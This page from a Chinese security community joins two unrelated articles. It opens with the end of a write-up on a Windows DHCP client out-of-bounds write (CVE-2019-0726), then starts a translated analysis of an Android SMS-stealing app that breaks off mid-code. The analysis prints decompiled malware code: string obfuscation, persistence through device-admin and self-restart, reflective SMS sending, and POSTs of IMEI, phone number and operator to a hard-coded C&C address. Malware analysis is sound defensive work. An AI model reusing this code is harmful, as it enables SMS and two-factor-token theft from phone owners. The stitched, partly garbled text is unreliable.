如果我们详细查看导致错误发生的数据类型，将其与出现错误的具体成因进行对比，可以看到系统可能会修改域名列表，导致生成的缓冲区大小不等于0，并且系统还会尝试将其写入缓冲区外。为了促成这种情况，列表第一个元素必须是一个空字符串，剩下的其他元素可能包含一些象征性域名，比如：
该选项包含两个元素。第一个域名后缀为空，使用`null`字节结尾。第二个后缀为`.ru`。此时计算出的输出字符串大小为3字节，因此能通过1月份补丁引入的针对空缓冲区的检查过程。与此同时，数据开头处为0，这样导致该函数在生成字符串中将逗号作为前一个字符写入，但如前文所述，字符串迭代器的当前位置为0，因此函数会在已分配的缓冲区之外写入数据。
现在我们需要通过实际测试来验证我们的理论。我们模拟一个DHCP服务器，当客户端发送请求时，返回包含该选项的一个消息。系统已经为结果字符串分配了一个缓冲区，当系统尝试往缓冲区的`0xffffffff`写入一个逗号时，我们立刻就能观察到一次异常：
这里`r8`寄存器包含指向传入选项的一个指针，`rdi`包含已分配目标缓冲区的地址，`rax`包含待写入字符在该缓冲区的具体位置。这些值都来自于我们在已安装所有补丁的系统上所观察到的结果（补丁截至2019年1月）。
我们向微软反馈了这个问题，大家猜结果如何？他们竟然搞丢了我们提供的信息。是的，即使对于最好且信誉度最高的厂商来说，有时候也会出现这种情况。没有任何一个系统是十全十美的，在这种情况下我们需要找到其他的沟通渠道。直到一周以后，我们还没有收到自动回复，因此我们决定直接通过推特联系。经过几天的分析后，我们发现我们反馈的漏洞实际上与CVE-2019-0547毫无关联，这是一个单独的漏洞，因此我们也收获了一个新的CVE编号。一个月之后（3月份），微软公布了新的补丁，也分配了一个新的编号：[CVE-2019-0726](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0726)。
以上就是在分析1day漏洞时的一个过程，有时候大家可能会凭自己直觉，从这个过程中找到另一个0day漏洞。 | 社区文章 |
# 洞若观火：全方位剖析Android信息窃取恶意软件（上篇）
|
##### 译文声明
本文是翻译文章，文章原作者 maxkersten，文章来源：maxkersten.nl
原文地址：<https://maxkersten.nl/binary-analysis-course/malware-analysis/android-sms-stealer/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
在本文中，我们将分析一款Android恶意应用程序。该样本可以在Virusbay中找到，或者可以访问这个本地镜像。这一恶意软件可以窃取短信息，攻击者能够获取到关于特定目标的大量消息，或者可以从受害者的手机上获取双因素认证（2FA）令牌，从而攻破安全性良好的账户。
请注意，在本文中的代码，变量名称都将使用易读的名称。如果变量的名称可以直接从其类型或上下文中派生，那么我们将直接对其进行重命名，不会再特意提到。如果无法明确判断，我们将会进行相应解释。
关于该样本，详细信息如下。
MD5：a1b5c184d447eaac1ed47bc5a0db4725
SHA-1：98bb4315a5ee3f92a3275f08e45f7e35d9995cd2
SHA-256：c385020ef9e6e04ad08757324f78963378675a1bdb57a4de0fd525cffe7f2139
文件类型：应用程序/Java压缩包
检测率：32/61
## 二、工具
要将APK转换为Android
Studio项目，所使用的工具是AndroidProjectCreator。请注意，反编译器并不是总能够将SMALI字节码转换为Java。因此，使用不同的反编译器多次对APK进行转换是一个不错的习惯。
在开始分析前，首先检查所有类，因为变量的名称仍然没有改变。如果已经重构了一般的样本，那么新添加的代码可能在之前的阶段就已经被修改过，因为这部分内容没有嵌入到项目中。这方面的一个例子是，如果某个类中的一个函数没有正确反编译，其余函数将被重构。以下是一个例子：
private Context context;
/**
* This is the renamed function, which was previously named "q".
*/
public Context getContext() {
return context;
}
/**
* This is the newly added function, which relies on the original instead of the refactored name.
*/
public String x() {
return q.LAUNCHER_APPS_SERVICE;
}
另外，在此之前，我们已经使用了APKTool获取单个类的SMALI字节码。使用Android Studio，主要是分析并重构Java代码。
## 三、代码分析的方法论
在分析之前，关于样本内部的信息非常少。为了避免把时间浪费在与研究目标无关的代码上，我们必须事先做出最好的预测和判断。
AndroidManifest.xml提供有关所请求的权限、服务、intent接收器（Intent Receiver）、广播接收器（Broadcast
Receiver）的信息。针对代码来说，Main Activity中的onCreate函数是应用程序的起点。因此，我们可以从这里开始调查。
随后，可以深入研究被调用的方法，这些方法可能存在于多个类中。如果只看混淆后的代码，可能无法揭示出代码的作用，因此我们也需要掘地三尺。这样，就可以向上重构代码，因为我们已经清楚了每个函数的内容是什么。
请注意，采用这种方法后，分析速度是呈指数级的。如果我们对样本所知甚少，那么分析每个函数都需要一段时间。由于类会在很多不同的地方重复使用，所以第一次的分析速度最慢。重构的每个部分，会随着对越来越多类的分析而逐渐清晰，从而加快对后续其他类的分析进度。
根据我自己的经验，用两个整天的时间通常足以重构整个样本。在第一天后，感觉只完成了很少的工作。但在第二天，就会补上所有缺失的拼图。
## 四、反编译APK
首先，将会对manifest进行分析。之后，将会分析并重构Java代码。在本文的分析过程中，我们没有提及错误的操作，从而避免对大家造成混淆。请注意，名为android的包中包含应用程序所使用的默认Android类。因此，这个包也超出了涉及的范围。
## 五、Manifest
在manifest中，揭示了许多关于应用程序的信息，因此我们要首先分析这个文件。下面展示了完整的manifest。
<?xml version="1.0" encoding="utf-8"?>
<manifest package="org.starsizew" platformBuildVersionCode="19" platformBuildVersionName="4.4.2-1456859"
xmlns:android="http://schemas.android.com/apk/res/android">
<uses-sdk android:minSdkVersion="9" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.GET_TASKS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_LOGS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true">
<activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="org.starsizew.MainService" android:enabled="true" android:exported="true" />
<service android:name="org.starsizew.Ad" android:enabled="true" android:exported="true" />
<receiver android:name="org.starsizew.MainServiceBroadcastReceiverWrapper" android:enabled="true" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.SCREEN_ON" />
<category android:name="android.intent.category.HOME" />
</intent-filter>
</receiver>
<receiver android:name="org.starsizew.DeviceAdminReceiverWrapper" android:permission="android.permission.BIND_DEVICE_ADMIN">
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
<meta-data android:name="stopOnDeviceLock" android:value="false" />
<meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
<meta-data android:name="preventRestart" android:value="true" />
<intent-filter>
<action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
<action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
<receiver android:name="org.starsizew.Ma">
<intent-filter android:priority="100">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
</application>
</manifest>
从上述manifest可以看到，请求的权限如下：
CALL_PHONE
SEND_SMS
WRITE_SMS
READ_SMS
GET_TASKS
ACCESS_NETWORK_STATE
READ_PHONE_STATE
RECEIVE_SMS
WRITE_EXTERNAL_STORAGE
INTERNET
RECEIVE_BOOT_COMPLETED
READ_LOGS
READ_CONTACTS
根据上述信息，可以看到，恶意软件能够拨打任意电话号码，也可以向指定号码发送短信。此外，恶意软件可以接收和阅读短信。网络状态检查用于确认手机是否联网，网络许可用于与在线服务进行交互。
GET_TASKS和READ_LOGS都需要使用提升后的权限。这意味着，应用程序必须是固件的一部分，或者应该安装在特权分区上。读取设备上其他应用程序的日志需要READ_LOGS权限，而获取最近执行的任务列表需要GET_TASKS权限。
应用程序的主要活动也会在manifest中定义，如下所示。
<activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
android:name字段包含类的路径，其中的一个点就代表一个新的包（Package）。android:label=”[@string](https://github.com/string
"@string")/app_name”的值会自动显示在Android
Studio中，但也可以在res/values/strings.xml文件中找到，如下所示。
<string name="app_name">Spy Mouse</string>
每当设备启动、屏幕打开或者是按下主页按钮时，都会用到一个名为Ac的类。
<receiver android:name="org.starsizew.Ac" android:enabled="true" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.SCREEN_ON" />
<category android:name="android.intent.category.HOME" />
</intent-filter>
</receiver>
使用设备管理权限的类名为Aa。下面是从manifest中节选的部分代码。
<receiver android:name="org.starsizew.Aa" android:permission="android.permission.BIND_DEVICE_ADMIN">
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
<meta-data android:name="stopOnDeviceLock" android:value="false" />
<meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
<meta-data android:name="preventRestart" android:value="true" />
<intent-filter>
<action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
<action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
Manifest的最后一部分，用于捕获有关新收到的短信的intent，Ma类负责处理该消息。根据预先设定的优先级，这一应用程序比其他应用程序会更早处理intent，除非另一个应用程序的优先级更高。
<receiver android:name="org.starsizew.Ma">
<intent-filter android:priority="100">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
## 六、源代码分析
要分析源代码，不仅仅要靠分析人员的预感，更重要的是应该根据事实做出合理判断，从而得到最好的结果。
### 6.1 MainActivity
MainActivity中的onCreate函数负责启动服务，设置重复警报，并检查是否授予了管理权限。根据是否授予管理权限，将执行函数q。其反编译后的源代码如下。
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(2130903040);
Context applicationContext = getApplicationContext();
applicationContext.startService(new Intent(applicationContext, Tb.class));
((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
q();
}
}
6.1.1 函数q
函数q启动了向管理员组添加新设备管理员的intent。
private void q() {
Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
intent.putExtra("android.app.extra.DEVICE_ADMIN"), new ComponentName(this, Aa.class));
startActivityForResult(intent, 100);
}
Aa类如下：
public class Aa extends DeviceAdminReceiver {
public void onDisabled(Context context, Intent intent) {
super.onDisabled(context, intent);
}
public void onEnabled(Context context, Intent intent) {
super.onEnabled(context, intent);
}
public void onPasswordChanged(Context context, Intent intent) {
super.onPasswordChanged(context, intent);
}
}
这个类是DeviceAdminReceiver的包装器（Wrapper），这也就是它可以重构为DeviceAdminReceiverWrapper的原因。
6.1.2 字符串解密
在MainActivity类中，有一个名为q的全局变量，它是加密的。要对其进行解密，可以利用另一个名为q的函数完成，二者都需要不同的参数。具体代码如下：
private static final String[] q = new String[]{q(q("-]aKu001f/Yxnu0010blU!!")), q(q("-Cuu0017u0011%I?u0004u000e<u0003tu001dn>L?"))};
private static String q(char[] cArr) {
int length = cArr.length;
for (int i = 0; length > i; i++) {
int i2;
char c = cArr[i];
switch (i % 5) {
case 0:
i2 = 76;
break;
case 1:
i2 = 45;
break;
case 2:
i2 = 17;
break;
case 3:
i2 = 101;
break;
default:
i2 = TransportMediator.KEYCODE_MEDIA_PLAY;
break;
}
cArr[i] = (char) ((char) (i2 ^ c));
}
return new String(cArr).intern();
}
private static char[] q(String str) {
char[] toCharArray = str.toCharArray();
if (toCharArray.length < 2) {
toCharArray[0] = (char) ((char) (toCharArray[0] ^ TransportMediator.KEYCODE_MEDIA_PLAY));
}
return toCharArray;
}
请注意，TransportMediator.KEYCODE_MEDIA_PLAY的值等于126。在Android
Studio中，可以使用CTRL，并单击KEYCODE_MEDIA_PLAY枚举值来检查此值。
可以通过初始化变量并打印值来解密字符串数组。能够编译并执行Java代码的IDE，也可以执行所需的操作。字符串数组的解密值如下所示，其中每一行都是数组中的不同索引，从0开始。
app.action.ADD_
android.app.extra.
### 6.2 寻找引用
在onCreate函数中，某些函数需要字符串作为参数。DevicePolicyManager的函数getSystemService，需要一个类似于所请求服务名称的字符串。
Protected void onCreate(Bundle bundle){
//[omitted]
applicationContext.startService(new Intent(applicationContext, Tb.class));
((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
If (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
q();
}
}
在检查名为o的类时，我们发现有很多公用字符串被加密。完整的类如下：
Package org.starsizew;
Public final class o {
Public static String E = new StringBuilder(q(q("}5u0005"))).append(f).append(q(q("C0"))).toString();
Public static String Q = (b + y + o + y + q(q("C1u00031hL")) + y + s);
Public static String R = q(q("ru001d$f"));
Public static String T = q(q("V;u001a="));
Public static String W = q(q("C>u0016*j"));
Public static int Y;
Public static String a = (b + q(q("f3u0007()G*u0003*f")));
Public static String b = q(q("C<u0013*hK6"));
Public static String c = q(q("R:u00186b"));
Public static String d = q(q("V7u001b"));
Public static String e = new StringBuilder(q(q("K<"))).append(f).append(q(q("Q&"))).toString();
Public static String f = "";
Public static String g = q(q("u001bbG"));
Public static String h = q(q("Q?u0004"));
Public static String i = (b + y + o + y + q(q("C1u00031hL|u0002+tF|u00186")));
Public static String j = new StringBuilder(String.valueOf(h.toUpperCase())).append(q(q("}u00002u001bBku00042u001c"))).toString();
Public static String k = q(q("C0u0018*s"));
Public static String l = q(q("` u00189cA3u0004,"));
Public static String m = q(q("eu0017#"));
Public static String n = (p + q(q("}"u00184nA+")));
Public static String o = q(q("K<u0003=iV"));
Public static String p = q(q("F7u00011dG"));
Public static String q = (b + q(q("f"u00057qK6u0012*)v7u001b=wJ=u0019!)")) + j);
Public static String r = new StringBuilder(q(q("M<"))).append(f).append(q(q("Gr"))).toString();
Public static String s = q(q("au0013;u0014"));
Public static String t = new StringBuilder(q(q("M"u0012"))).append(f).append(q(q("P3"))).append(f).append(q( q("V=u0005"))).toString();
Public static String u = (T + q(q("}"u0012*")) + f + q(q("G:u0001")));
Public static String v = new StringBuilder(String.valueOf(p.toUpperCase())).append(q(q("}u00133u0015Nl"))).toString();
Public static String w = q(q("v7u000f,JG!u00049`G"));
Public static int x = 1;
Public static String y = ".";
Public static int z = 0;
Private static String q(char[] cArr) {
Int length = cArr.length;
For (int i = 0; length > i; i++) {
Int i2;
Char c = cArr[i];
Switch (i % 5) {
Case 0:
I2 = 34;
Break;
Case 1:
I2 = 82;
Break;
Case 2:
I2 = 119;
Break;
Case 3:
I2 = 88;
Break;
Default:
I2 = 7;
Break;
}
cArr[i] = (char) ((char) (i2 ^ c));
}
Return new String(cArr).intern();
}
Private static char[] q(String str) {
Char[] toCharArray = str.toCharArray();
If (toCharArray.length < 2) {
toCharArray[0] = (char) ((char) (toCharArray[0] ^ 7));
}
Return toCharArray;
}
}
在使用两个给定的解密函数（均命名为q）解密所有字符串，并根据输出结果重构名称后，这些变量就看起来更有意义了，如下所示：
package org.starsizew;
public final class StringDatabase {
public static String _grab = new StringBuilder(decryptCharArray(decryptString("}5u0005"))).append(emptyString).append(decryptCharArray(decryptString("C0"))).toString();
public static String AndroidIntentActionCall = (android + dot + intent + dot + decryptCharArray(decryptString("C1u00031hL")) + dot + CALL);
public static String POST = decryptCharArray(decryptString("ru001d$f"));
public static String time = decryptCharArray(decryptString("V;u001a="));
public static String alarm = decryptCharArray(decryptString("C>u0016*j"));
public static int integerZero;
public static String AndroidAppExtra = (android + decryptCharArray(decryptString("f3u0007()G*u0003*f")));
public static String android = decryptCharArray(decryptString("C<u0013*hK6"));
public static String phone = decryptCharArray(decryptString("R:u00186b"));
public static String tel = decryptCharArray(decryptString("V7u001b"));
public static String inst = new StringBuilder(decryptCharArray(decryptString("K<"))).append(emptyString).append(decryptCharArray(decryptString("Q&"))).toString();
public static String emptyString = "";
public static String integer900 = decryptCharArray(decryptString("u001bbG"));
public static String sms = decryptCharArray(decryptString("Q?u0004"));
public static String AndroidIntentActionUssdOn = (android + dot + intent + dot + decryptCharArray(decryptString("C1u00031hL|u0002+tF|u00186")));
public static String SMS_RECEIVED = new StringBuilder(String.valueOf(sms.toUpperCase())).append(decryptCharArray(decryptString("}u00002u001bBku00042u001c"))).toString();
public static String abort = decryptCharArray(decryptString("C0u0018*s"));
public static String Broadcast = decryptCharArray(decryptString("` u00189cA3u0004,"));
public static String GET = decryptCharArray(decryptString("eu0017#"));
public static String device_policy = (device + decryptCharArray(decryptString("}"u00184nA+")));
public static String intent = decryptCharArray(decryptString("K<u0003=iV"));
public static String device = decryptCharArray(decryptString("F7u00011dG"));
public static String AndroidProviderTelephonySMS_RECEIVED = (android + decryptCharArray(decryptString("f"u00057qK6u0012*)v7u001b=wJ=u0019!)")) + SMS_RECEIVED);
public static String one_ = new StringBuilder(decryptCharArray(decryptString("M<"))).append(emptyString).append(decryptCharArray(decryptString("Gr"))).toString();
public static String CALL = decryptCharArray(decryptString("au0013;u0014"));
public static String operator = new StringBuilder(decryptCharArray(decryptString("M"u0012"))).append(emptyString).append(decryptCharArray(decryptString("P3"))).append(emptyString).append(decryptCharArray(decryptString("V=u0005"))).toString();
public static String time_perehv = (time + decryptCharArray(decryptString("}"u0012*")) + emptyString + decryptCharArray(decryptString("G:u0001")));
public static String DEVICE_ADMIN = new StringBuilder(String.valueOf(device.toUpperCase())).append(decryptCharArray(decryptString("}u00133u0015Nl"))).toString();
public static String TextMessage = decryptCharArray(decryptString("v7u000f,JG!u00049`G"));
public static int integerTrue = 1;
public static String dot = ".";
public static int integerFalse = 0;
//Decryption functions are omitted for brevity
}
### 6.3 主服务
onCreate函数使用的下一个类，称为Tb。该类作为服务启动，如下所示：
Context applicationContext = getApplicationContext();
applicationContext.startService(new Intent(applicationContext, Tb.class));
服务中包含的三个函数，具体解释如下。需要注意的是，与前面描述的类一样，这里使用了与字符串相同的加密技术。从这个类开始，由于每个类中的方法都相同，因此我们不会再赘述解密的过程。
6.3.1 onCreate
onCreate函数中包含一个名为q的布尔值，以及一个名为w的SharedPreferences对象，并使用类u来启动一个新的线程（Thread）。其代码如下：
public void onCreate() {
super.onCreate();
q = true;
this.w = getSharedPreferences(getApplicationContext().getString(2131099651), StringDatabase.integerFalse);
new Thread(new u(this)).start();
}
布尔型变量q也用在onDestroy函数中，并且它的值为false。因此，该布尔值用于确定服务是否正在运行，它可以使用名称isActive进行重构。
我们可以在res/public.xml和res/strings.xml中找到一个字符串，该字符串以十进制表示后时2131099651.需要注意的是，代码中的十进制值在XML文件中是以十六进制表示的。当转换为十六进制时，其值等于0x7F060003。XML文件中的值如下所示。
[public.xml]
<public type="string" name="PREFS_NAME" i7F060003d="0x7f060003" />
[strings.xml]
<string name="PREFS_NAME">AppPrefs</string>
如果可以加载配置文件，那么恶意程序此前已经处于活动状态，并且可以加载最新的已知配置。
后续，我们将分析用于启动新线程的类。
6.3.2 onBind
该函数没有在服务中实现，因为它只能返回异常。代码如下：
public IBinder onBind(Intent intent) {
throw new UnsupportedOperationException(stringError);
}
请注意，之所以将字符串命名为stringError，是因为在解密时，其中会包含字符串Error。
6.3.3 onDestroy
现在，布尔型的isActive已经有了新的名称，因为它在onCreate函数的分析过程中已经被更改。它声明的intent用于启动名为Tb的服务。这与目前我们正在分析的服务相同。如果服务关闭，则它会自动重启。该功能的代码如下：
public void onDestroy() {
super.onDestroy();
isActive = false;
Intent intent = new Intent(this, Tb.class);
intent.setFlags(268435456);
startService(intent);
}
请注意，268435456实际上等于0x10000000，这是FLAG_ACTIVITY_NEW_TASK的常量值，我们可以在Android开发者网站上看到。由于这一标志的存在，服务将作为应用程序中的新任务而启动。
6.3.4 主服务
该服务可以重命名为MainService，因为它是恶意程序内部的主要服务，负责保持自身功能，并确保恶意程序内部工作一切正常。
### 6.4 新线程u
在MainService类的onCreate函数中，创建了一个新线程u，具体如下：
package org.starsizew;
final class u implements Runnable {
final Mainservice mainService;
u(Mainservice mainService) {
this.mainService = mainService;
}
public final void run() {
this.mainService.r.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
}
}
一开始，Android
Studio会产生一个错误。这是由于一个反编译的错误，其中MainService类中的两个字段，都设置为private，而实际上它们应该是public或者protected。在下面的代码中，给出了public的两个字段：
public Handler r = new Handler();
public Runnable t = new w(this);
现在，新的类u更具可读性，如下所示：
package org.starsizew;
final class u implements Runnable {
final Mainservice mainService;
u(Mainservice mainService) {
this.mainService = mainService;
}
public final void run() {
this.mainService.handler.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
}
}
名为r的处理程序可以重新命名为handler。由于目前尚不清楚w类的作用，因此无法对runnable进行重命名。要了解u的作用，首先我们需要知道w的作用。请注意，这里的StringDatabase.integerFalse等于0。处理程序启动runnable的延迟等于0毫秒。
### 6.5 类w
类w是可以运行的，这也就意味着，它是作为线程启动的。线程在启动时运行run方法。除了解密功能之外，这个类中没有其他任何内容，具体如下：
public final void run() {
boolean z = MainService.e;
if (!this.mainService.sharedPreferences.contains(StringDatabase.one_ + StringDatabase.inst)) {
Editor edit = this.mainService.sharedPreferences.edit();
edit.putInt(StringDatabase.one_ + StringDatabase.inst, StringDatabase.integerTrue);
edit.putString(w[0], this.mainService.getApplicationContext().getString(2131099653));
edit.putString(StringDatabase.inst, "1");
edit.putLong(StringDatabase.time_perehv, 100);
edit.putString(w[3], new StringBuilder(String.valueOf(this.mainService.getApplicationContext().getString(2131099652))).append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
edit.putString(new StringBuilder(w[4]).append(StringDatabase.emptyString).append(w[1]).toString(), a.q(this.mainService.getApplicationContext()).getDeviceId());
edit.apply();
}
List arrayList = new ArrayList();
if (this.mainService.sharedPreferences.getString(StringDatabase.inst, null) == "1") {
new i(this.mainService.getApplicationContext(), arrayList, StringDatabase.inst + w[5]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
} else {
new i(this.mainService.getApplicationContext(), arrayList, w[2]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
}
this.mainService.handler.postDelayed(this, (long) Constants.int50005);
if (z) {
StringDatabase.integerZero++;
}
}
在后面，我们将会分析函数a所在的类q。函数的上下文目前已经提供了足够的可供分析的内容。
这个类是一个例子，说明了从名为w的字符串数组中替换字符串的重要性。这样一来，就能让我们看到更加清晰的代码。优化后的版本如下：
public final void run() {
boolean z = MainService.e;
if (!this.mainService.sharedPreferences.contains("one_inst")) {
Editor edit = this.mainService.sharedPreferences.edit();
edit.putInt("one_inst1");
edit.putString("url", "http://37.1.207.31/api/?id=7");
edit.putString("inst", "1");
edit.putLong("time_perehv", 100);
edit.putString("id", new StringBuilder("00122".append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
edit.putString("imei", a.q(this.mainService.getApplicationContext()).getDeviceId());
edit.apply();
}
List arrayList = new ArrayList();
if (this.mainService.sharedPreferences.getString("inst", null) == "1") {
new i(this.mainService.getApplicationContext(), arrayList, "install").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
} else {
new i(this.mainService.getApplicationContext(), arrayList, "info").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
}
this.mainService.handler.postDelayed(this, 50005);
if (z) {
StringDatabase.integerZero++;
}
}
首先，检查共享首选项文件是否包含密钥，密钥其中应该包含字符串one_inst。如果为false，则使用C&C
URL、布尔型installation变量、time_perehv、ID以及设备的IMEI来实例化首选项文件。
如果共享首选项文件中包含one_inst值，或者在设置共享首选项文件之后，那么会使用完全相同但只有一个参数不同的参数调用类i，不同的参数是第三个，可以是install，也可以是info。但在分析类i之前，首先将分析类a。
### 6.6 类a
在该类中，包含了两个名为q的函数。请注意，为了简洁起见，我们省略了字符串数组及其解密方法。
第一个函数需要一个上下文对象作为参数：q(Context context)。该功能非常简单，如下所示：
static TelephonyManager q(Context context) {
return (TelephonyManager) context.getSystemService(StringDatabase.phone);
}
首先，请求系统服务电话，这样的功能显而易见。此外，我们可以看一下类型转换，它等同于TelephonyManager。我们对这部分代码进行修改，使其更具可读性，如下所示：
static TelephonyManager getTelephonyManager(Context context) {
return (TelephonyManager) context.getSystemService(StringDatabase.phone);
}
第二个函数需要两个字符串作为参数：q(String str, String
str2)。此外，代码使用反射来调用方法。代码具体如下，其中已经替换了字符串数组中的解密字符串。
public static boolean q(String str, String str2) {
try {
Class cls = Class.forName(StringDatabase.android + ".telephony.SmsManager");
Object invoke = cls.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
Method method = cls.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
Object[] objArr = new Object[5];
objArr[0] = str;
objArr[2] = str2;
method.invoke(invoke, objArr);
} catch (Exception e) {
}
return false;
}
调用的函数来自android.telephony.SmsManager，命名为sendTextMessage。我们快速浏览SmsManager类的Android开发者页面，可以找到以下信息：
public void sendTextMessage (String destinationAddress,
String scAddress,
String text,
PendingIntent sentIntent,
PendingIntent deliveryIntent)
其中，变量str和str2是方法的第一个和第三个参数。第一个参数是destinationAddress，第三个参数是短信息的文本。该函数使用指定正文，将文本消息发送到指定号码。经过重新编写后的方法如下：
public static boolean sendSms(String destinationAddress, String text) {
try {
Class SmsManager = Class.forName(StringDatabase.android + ".telephony.SmsManager");
Object methodGetDefaultSmsManager = SmsManager.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
Method methodSendTextMessage = SmsManager.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
Object[] objectArray = new Object[5];
objectArray[0] = destinationAddress;
objectArray[2] = text;
methodSendTextMessage.invoke(methodGetDefaultSmsManager, objectArray);
} catch (Exception e) {
}
return false;
}
在这个类中，包装了TelephonyManager，这也就是为什么我们将其重命名为TelephonyManagerWrapper的原因。
### 6.7 类i
这个类是AsyncTask，意味着它会在应用程序的后台运行。AsyncTask的生命周期有四个阶段：
1、onPreExecute，用于准备稍后使用的类中的任意内容。
2、doInBackground，这是任务的主要部分。
3、onProgressUpdate，用于更新UI。此方法通常在恶意软件中被删去，因为任务需要保持隐藏状态。
4、onPostExecute，在doInBackground函数完成后执行。
doInBackground方法被正确反编译，但onPostExecute方法无法使用JAD-X、JD-CMD、Fernflower、CFR或包含使用dex2jar制作的JAR的Procyon进行反编译。如果使用enjarify来生成JAR，结果与之前相同。在后面，我们会详细介绍onPostExecute函数。
6.7.1 doInBackground
doInBackground函数如下所示。为了完全理解它的作用，我们首先需要分析类t。
protected final Object doInBackground(Object[] objArr) {
Object obj = null;
boolean z = true;
boolean z2 = MainService.e;
String str = ((String[]) objArr)[StringDatabase.integerFalse];
t tVar = new t();
this.e.add(new BasicNameValuePair("method", this.r));
this.e.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", null)));
if (this.r.startsWith("install")) {
String str2 = "POST";
this.e.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
this.e.add(new BasicNameValuePair("model", Build.MODEL));
this.e.add(new BasicNameValuePair("os", VERSION.RELEASE));
this.e.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
this.e.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
this.e.add(new BasicNameValuePair("version", s.w));
this.e.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
obj = t.q(str, "POST", this.e);
} else if (this.r.startsWith("info")) {
obj = t.q(str, "POST", this.e);
} else if (this.r.startsWith("sms")) {
obj = t.q(str, "POST", this.e);
}
if (StringDatabase.integerZero != 0) {
if (z2) {
z = false;
}
MainService.e = z;
}
return obj;
}
在分析t之后，我们会给出新版本的doInBackground函数，并对该类进行详细分析。
### 6.8 类t
类t中的函数q将在下面给出。需要注意的是，其中的某些变量已根据其类型来重新命名。下面将会进一步解释其中的变化。
public static JSONObject q(String url, String var1, List var2) {
boolean var10001;
label66:
{
DefaultHttpClient defaultHttpClient;
try {
if (var1 == "POST") {
defaultHttpClient = new DefaultHttpClient();
HttpPost httpPost = new HttpPost(url);
UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(var2, "UTF-8");
httpPost.setEntity(urlEncodedFormEntity);
inputStream = defaultHttpClient.execute(httpPost).getEntity().getContent();
break label66;
}
} catch (Throwable var12) {
var10001 = false;
break label66;
}
try {
if (var1 == "GET") {
defaultHttpClient = new DefaultHttpClient();
String formattedUrlUtils = URLEncodedUtils.format(var2, "utf-8");
StringBuilder var3 = new StringBuilder(String.valueOf(url));
HttpGet httpGet = new HttpGet(var3.append("?").append(formattedUrlUtils).toString());
inputStream = defaultHttpClient.execute(httpGet).getEntity().getContent();
}
} catch (Throwable var11) {
var10001 = false;
}
}
label55:
{
BufferedReader var14;
StringBuilder var20;
try {
InputStreamReader var18 = new InputStreamReader(inputStream, "iso-8859-1");
